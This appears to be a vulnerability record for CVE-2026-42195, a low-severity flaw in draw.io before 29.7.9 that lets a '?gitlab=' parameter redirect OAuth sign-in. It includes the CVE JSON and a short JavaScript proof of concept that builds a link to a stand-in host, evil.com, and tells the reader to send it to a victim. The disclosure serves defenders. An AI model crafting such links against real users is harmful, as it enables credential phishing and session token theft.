CVE-2026-42195

// Proof of Concept: Malicious URL generation // The 'gitlab' parameter overrides the OAuth endpoint const targetUrl = "https://app.diagrams.net/"; const attackerControlledHost = "https://evil.com/fake-gitlab"; // Construct the malicious link const pocLink = `${targetUrl}?gitlab=${encodeURIComponent(attackerControlledHost)}`; console.log("Send the following link to the victim:"); console.log(pocLink); // When the victim clicks 'Authorize in GitLab', the popup will point to evil.com

{"cve": {"id": "CVE-2026-42195", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:31.410", "lastModified": "2026-05-08T22:16:31.410", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "draw.io is a configurable diagramming and whiteboarding application. Prior to version 29.7.9, the draw.io client accepts a ?gitlab= URL parameter that overrides the GitLab server URL used during OAuth sign-in. A crafted link causes the user's click on draw.io's \"Authorize in GitLab\" dialog to open a popup on the attacker-controlled host instead of gitlab.com. This can lead to credential fishing and session state token exfiltration. This issue has been patched in version 29.7.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://github.com/jgraph/drawio/issues/493", "source": "[email protected]"}, {"url": "https://github.com/jgraph/drawio/releases/tag/v29.7.9", "source": "[email protected]"}, {"url": "https://github.com/jgraph/drawio/security/advisories/GHSA-8x7j-m8px-7p8x", "source": "[email protected]"}]}}